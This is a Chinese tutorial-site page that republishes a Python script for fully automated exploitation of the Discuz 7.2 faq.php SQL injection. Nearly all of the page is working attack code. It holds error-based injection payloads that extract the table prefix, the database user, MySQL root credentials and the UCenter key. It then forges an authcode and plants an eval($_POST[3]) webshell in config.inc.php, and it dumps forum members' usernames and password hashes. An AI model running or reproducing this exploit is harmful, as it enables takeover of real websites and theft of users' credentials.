当前位置:Gxlcms > Python > Python写的Discuz7.2版faq.php注入漏洞工具

Python写的Discuz7.2版faq.php注入漏洞工具

时间:2021-07-01 10:21:17 帮助过:63人阅读

Discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者)

实现代码:

  1. #!/usr/bin/env python
  2. # -*- coding: gbk -*-
  3. # -*- coding: gb2312 -*-
  4. # -*- coding: utf_8 -*-
  5. # author iswin
  6. import sys
  7. import hashlib
  8. import time
  9. import math
  10. import base64
  11. import urllib2
  12. import urllib
  13. import re
  14. def sendRequest(url,para):
  15. try:
  16. data = urllib.urlencode(para)
  17. req=urllib2.Request(url,data)
  18. res=urllib2.urlopen(req,timeout=20).read()
  19. except Exception, e:
  20. print 'Exploit Failed!\n%s'%(e)
  21. exit(0);
  22. return res
  23. def getTablePrefix(url):
  24. print 'Start GetTablePrefix...'
  25. para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
  26. res=sendRequest(url,para);
  27. pre=re.findall("Duplicate entry '(.*?)'",res);
  28. if len(pre)==0:
  29. print 'Exploit Failed!'
  30. exit(0);
  31. table_pre=pre[0][:len(pre[0])-1].decode('hex')
  32. table_pre=table_pre[0:table_pre.index('_')]
  33. print 'Table_pre:%s'%(table_pre)
  34. return table_pre
  35. def getCurrentUser(url):
  36. para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
  37. res=sendRequest(url,para)
  38. pre=re.findall("Duplicate entry '(.*?)'",res)
  39. if len(pre)==0:
  40. print 'Exploit Failed!'
  41. exit(0);
  42. table_pre=pre[0][:len(pre[0])-1]
  43. print 'Current User:%s'%(table_pre)
  44. return table_pre
  45. def getUcKey(url):
  46. para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
  47. para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
  48. res=sendRequest(url,para);
  49. res1=sendRequest(url,para1);
  50. key1=re.findall("Duplicate entry '(.*?)'",res)
  51. key2=re.findall("Duplicate entry '(.*?)'",res1)
  52. if len(key1)==0:
  53. print 'Get Uc_Key Failed!'
  54. return ''
  55. key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
  56. print 'uc_key:%s'%(key)
  57. return key
  58. def getRootUser(url):
  59. para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
  60. res=sendRequest(url,para);
  61. pre=re.findall("Duplicate entry '(.*?)'",res)
  62. if len(pre)==0:
  63. print 'Exploit Failed!'
  64. exit(0);
  65. table_pre=pre[0][:len(pre[0])-1].split(' ')
  66. print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])
  67. def dumpData(url,table_prefix,count):
  68. para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
  69. res=sendRequest(url,para);
  70. datas=re.findall("Duplicate entry '(.*?)'",res)
  71. if len(datas)==0:
  72. print 'Exploit Failed!'
  73. exit(0)
  74. cleandata=datas[0][:len(datas[0])-1]
  75. info=cleandata.split(' ')
  76. print 'user:%s pass:%s'%(info[0],info[1])
  77. def microtime(get_as_float = False) :
  78. if get_as_float:
  79. return time.time()
  80. else:
  81. return '%.8f %d' % math.modf(time.time())
  82. def get_authcode(string, key = ''):
  83. ckey_length = 4
  84. key = hashlib.md5(key).hexdigest()
  85. keya = hashlib.md5(key[0:16]).hexdigest()
  86. keyb = hashlib.md5(key[16:32]).hexdigest()
  87. keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
  88. cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
  89. key_length = len(cryptkey)
  90. string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
  91. string_length = len(string)
  92. result = ''
  93. box = range(0, 256)
  94. rndkey = dict()
  95. for i in range(0,256):
  96. rndkey[i] = ord(cryptkey[i % key_length])
  97. j=0
  98. for i in range(0,256):
  99. j = (j + box[i] + rndkey[i]) % 256
  100. tmp = box[i]
  101. box[i] = box[j]
  102. box[j] = tmp
  103. a=0
  104. j=0
  105. for i in range(0,string_length):
  106. a = (a + 1) % 256
  107. j = (j + box[a]) % 256
  108. tmp = box[a]
  109. box[a] = box[j]
  110. box[j] = tmp
  111. result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
  112. return keyc + base64.b64encode(result).replace('=', '')
  113. def get_shell(url,key,host):
  114. headers={'Accept-Language':'zh-cn',
  115. 'Content-Type':'application/x-www-form-urlencoded',
  116. 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
  117. 'Referer':url
  118. }
  119. tm = time.time()+10*3600
  120. tm="time=%d&action=updateapps" %tm
  121. code = urllib.quote(get_authcode(tm,key))
  122. url=url+"?code="+code
  123. data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
  124. <root>
  125. <item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
  126. </root>'''
  127. try:
  128. req=urllib2.Request(url,data=data1,headers=headers)
  129. ret=urllib2.urlopen(req)
  130. except:
  131. return "Exploit Falied"
  132. data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
  133. <root>
  134. <item id="UC_API">http://aaa</item>
  135. </root>'''
  136. try:
  137. req=urllib2.Request(url,data=data2,headers=headers)
  138. ret=urllib2.urlopen(req)
  139. except:
  140. return "error"
  141. try:
  142. req=urllib2.Request(host+'/config.inc.php')
  143. res=urllib2.urlopen(req,timeout=20).read()
  144. except Exception, e:
  145. print 'GetWebshell Failed,%s'%(e)
  146. return
  147. print "webshell:"+host+"/config.inc.php,password:3"
  148. if __name__ == '__main__':
  149. print 'DZ7.x Exp Code By iswin'
  150. if len(sys.argv)<3:
  151. print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://www.bitsCN.com 10'
  152. exit(0)
  153. url=sys.argv[1]+'/faq.php'
  154. count=int(sys.argv[2])
  155. user=getCurrentUser(url)
  156. if user.startswith('root@'):
  157. getRootUser(url)
  158. uc_key=getUcKey(url)
  159. if len(uc_key)==64:
  160. print 'Start GetWebshell...'
  161. get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
  162. tb_pre=getTablePrefix(url)
  163. print 'Start DumpData...'
  164. for x in xrange(0,count):
  165. dumpData(url,tb_pre,x)

人气教程排行